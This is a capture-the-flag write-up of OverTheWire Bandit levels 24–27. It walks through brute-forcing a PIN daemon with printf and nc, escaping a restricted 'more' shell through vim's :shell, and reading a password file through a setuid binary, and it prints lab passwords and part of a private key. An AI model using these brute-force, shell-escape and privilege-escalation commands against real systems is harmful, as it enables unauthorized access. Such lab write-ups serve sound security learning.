OverTheWire Bandit: Levels 24 to 27 — Day 6 of the Wargame

Platform: OverTheWire / Bandit Difficulty: Intermediate Focus: Brute-force, restricted shell escape, setuid binaries

Three levels this time. The first was a systematic brute force. The second broke my SSH session. The third was a repetition of an earlier trick — but only once you got a shell.

Level 24 → 25: The 10,000-Combination Pin

A daemon is listening on port 30002 and will give you the password for bandit25
if given the password for bandit24 and a secret numeric 4-digit pincode.

The pincode is four digits — 0000 to 9999. 10,000 combinations. Brute-force is the intended solution.

A quick nmap of localhost confirmed the daemon:

30002/tcp open  pago-services2?

I connected with nc to understand the protocol:

$ nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and
the secret pincode on a single line, separated by a space.

One line: <password> <pincode>.

I generated every combination using printf:

$ printf "gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8 %s\n" {0000..9999} > nc.txt

This creates 10,000 lines — each with the password and a different pincode.

Then I piped the list straight into nc:

$ cat nc.txt | nc localhost 30002

The daemon processes each line sequentially. For 9,999 lines it says “Wrong!” On the 10,000th line, it says “Correct!” and returns the password.

Correct!
The password of user bandit25 is iCi86ttT4KSNe1armKiwbQNmB3YJP3q4

Level 25 → 26: The Auto-Closing Shell

Logging in as bandit25, I checked what shells were available:

bandit25@bandit:~$ cat /etc/shells
/bin/sh
/usr/bin/sh
/bin/bash
/usr/bin/bash
/bin/rbash
/usr/bin/rbash
/usr/bin/dash
/usr/bin/screen
/usr/bin/tmux
/usr/bin/showtext

/usr/bin/showtext is unusual. I spawned a quick shell with /usr/bin/sh to explore:

bandit25@bandit:~$ /usr/bin/sh
$ ls
bandit26.sshkey
$ cat bandit26.sshkey
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApis2AuoooEqeYWamtwX2k5z9uU1Afl2F8VyXQqbv/LTrIwdW
...

An SSH key for bandit26. I copied it locally, set permissions to 600, and logged in:

$ ssh -p 2220 -i id_rsa3 bandit26@bandit.labs.overthewire.org

And immediately got disconnected.

Connection to bandit.labs.overthewire.org closed.

The shell for bandit26 is /usr/bin/showtext. What is it? It's a script that runs more on a text file and exits. No interactive shell — the connection opens, prints the banner, and closes.

The trick is to make the terminal window small enough that more can't fit everything on one screen. When more pauses (waiting for input), you have a window of opportunity.

From within more:

1. Press v — this drops into vi/vim
2. In vim, set the shell: :set shell=/bin/bash
3. Spawn a shell: :shell

You’re now in an interactive bash session as bandit26.

bandit26@bandit:~$ ls
bandit27-do  text.txt

Level 26 → 27: The Setuid Encore

The bandit27-do binary is a setuid executable owned by bandit27:

-rwsr-x---  1 bandit27 bandit26 14888 Apr  3 15:17 bandit27-do

Same pattern as earlier levels — it runs commands as another user:

bandit26@bandit:~$ ./bandit27-do
Run a command as another user.
Example: ./bandit27-do id

I ran ./bandit27-do cat /etc/bandit_pass/bandit27:

bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
upsNCc7vzaRDx6oZC6GiR6ERwe1MowGB

Lessons Learned

• Brute force with pipes — Generating 10,000 combinations with printf and piping them to nc is efficient. No need to write a script.
• The more escape — A common technique for breaking out of restricted shells. Shrink the terminal, more pauses, v drops to vim, :shell spawns bash.
• Custom shells — Always check /etc/shells. If a user's shell is non-standard, there's usually a reason — and a bypass.
• Setuid repetition — The pattern of setuid binaries that run commands as another user recurs throughout Bandit. Recognize it and exploit it immediately.

Stopping here for now. The next levels continue to escalate through increasingly creative constraints.

Cheatsheet

# Generate brute-force input
printf "password %s\n" {0000..9999} | nc localhost 30002

# Find available shells
cat /etc/shells

# Bypass more/restricted shell (resize terminal small first)
# At more prompt: v
# In vim: :set shell=/bin/bash
# Then: :shell

# Run command as another user via setuid binary
./setuid-binary cat /path/to/password

# Read password for bandit27
./bandit27-do cat /etc/bandit_pass/bandit27